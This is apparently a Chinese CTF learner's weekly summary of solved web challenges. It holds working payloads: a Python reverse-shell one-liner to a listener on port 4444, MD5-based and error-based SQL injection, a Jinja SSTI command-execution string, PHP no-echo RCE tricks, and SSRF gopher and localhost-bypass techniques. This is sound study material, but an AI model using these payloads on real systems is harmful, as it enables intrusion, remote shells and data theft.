学了半天 想了还是需要进行个总结
1.做的题目
NSSCTF [BJDCTF 2020]easy_md5 md5实现sql-CSDN博客
[网鼎杯 2020 白虎组]PicDown python反弹shell proc/self目录的信息_双层小牛堡的博客-CSDN博客
[CISCN2019 华北赛区 Day1 Web5]CyberPunk 二次报错注入_双层小牛堡的博客-CSDN博客
攻防世界 Web_python_template_injection SSTI printer方法_双层小牛堡的博客-CSDN博客
[GXYCTF2019]禁止套娃 无回显 RCE 过滤__FILE__ dirname等-CSDN博客
[b01lers2020]Welcome to Earth_双层小牛堡的博客-CSDN博客
以上是
2023 10月2-8日做的题目 正值国庆假期 所以题目会多点
2.知识点
这里进行知识点的复习
特殊的MD5 实现万能钥匙闭合
题目内容是 一个sql语句
select * from password = md5($pass,true)
这里会通过MD5 然后进行查询
这里就会有一个特殊的md5
ffifdyop
md5为 276F722736C95D99E921722CF9ED621C
然后通过十六进制转字符串
为'or'6 É]é!r,ùíb
所以传入的值变为了
select * from password = ''or'6 É]é!r,ùíb'
就会实现万能密码的作用
这里还有一个
129581926211651571912466741651878684928
作用是一样的
proc/self文件夹
Linux的/proc/self/学习_lmonstergg的博客-CSDN博客
文件夹里都是和进程相关的
首先存在 environ 和 cmdline
其中会存在敏感信息
存在任意文件读取 我们可以去读取这个
然后获取完如果想获得当前工作环境的文件内容
可以通过 /proc/self/cwd/文件 来读取
如果文件代码中存在 open 打开文件的字样
那么就会在 /proc/self/fd/[0-999] 中创建
然后我们就可以通过 bp爆破 获取敏感信息
反弹shell
主要是python反弹shell
首先可以通过
os.system(shell)
发现可以执行命令
然后可以让受害者 主动链接攻击机器 主要方式是通过免费域名
然后进行监听端口
主要反弹shell的代码
//kali使用nc进行对本机的4444端口进行监听:
nc -lvvp 4444
//目标主机执行下面python命令:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.48.130",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
这里可以免费获取
没有回显的rce就可以使用这个
报错注入读取文件
通过 load_file("文件") 来读取
updatexml(1,concat(0x7e,(select load_file('/flag'))),3)
二次注入
$address = addslashes($_POST["address"]);
发现没有进行过滤
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$address = addslashes($_POST["address"]);
$phone = $_POST["phone"];
并且会从数据库进行读取
$row = $fetch->fetch_assoc();
$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
$result = $db->query($sql);
这里的old_address 那么我们输入报错语句 ' updatexml() 就会一样的输出 因为只是作为转义存入了
所以会原封不动的输出
$row = $fetch->fetch_assoc();
$sql = "update `user` set `address`='".$address."', `old_address`='"' updatexml()#"' where `user_id`=".$row['user_id'];
$result = $db->query($sql);
实现了 二次注入
SSTI的 printer方法
这里只是记录一下 这个方法也可以实现注入
格式为下面的
{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}
SSRF ctfshow内容
主要是 sudo.cc 表示 127.0.0.1
127.1 表示127.0.0.1
无回显rce localeconv() array_reverse() session_start()
因为过滤了 __ dir
无法使用以前的 print_r(FILE)
这里可以通过 localeconv() 返回当前目录中的 .
然后通过指定 . 使用 current(localeconv())
print_r(current(localeconv)) 就类似于 print_r('.')
会回显当前
array_reverse 让数组倒序输出
这里还可以使用 session_start(session_id) 开启 session 然后通过 session 传递 flag.php
所以直接
print_r(session_start(session_id))
Cookie: PHPSESSID=flag.php
即可
SSRF ctfhub内容
打中间件直接使用 gopherus
git clone https://github.com/tarunkant/Gopherus.git
通过 工具生成 payload 然后 进行一次 url编码 即可
通过蚁剑链接 实现rce
可以通过
dict://127.0.0.1:xx 扫描端口 发现服务
gopher:// 可以伪造请求包 发送请求
格式
gopher://ip:port/_内容
需要进行2次url
%0a 需要 替换为%0d%0a
结尾也需要加上 %0d%0a
FASTCGI 作为服务器和解释器之间的协议
我们可以伪造包去访问FASTCGI 然后通过设置包含 实现rce
ctf@127.0.0.1 会被解析为 127.0.0.1
127.0.0.1:
八进制:0177.0.0.1
十六进制:0x7f.0.0.1
十进制:2130706433
或者利用其他为 127.0.0.1的内容
http://localhost/
http://0/
http://[0:0:0:0:0:ffff:127.0.0.1]/
http://①②⑦.⓪.⓪.①
DNS bypass 就是通过时间差 转变域名的 ip 当第一次ip通过检查后 第二次变为127.0.0.1
rbndr.us dns rebinding service
python排列组合方式
from itertools import permutations
flag = ["{hey", "_boy", "aaaa", "s_im", "ck!}", "_baa", "aaaa", "pctf"]
item = permutations(flag)
for i in item:
k=''.join(list(i))
if k.startswith('pctf{') and k[-1]=='}':
print(k)
可以输出数组所有组合方式 我们确定开头和结尾 即可得到flag
3.不足
做题 没有沉下心来做 没思路就去看wp了
有的时候做题 感觉不难的 为什么不坚持坚持 去搜搜知识点 而不是直接搜wp来做
4.下一周计划
美亚可以准备了
buu继续做
nss 可以跟上 做点比赛真题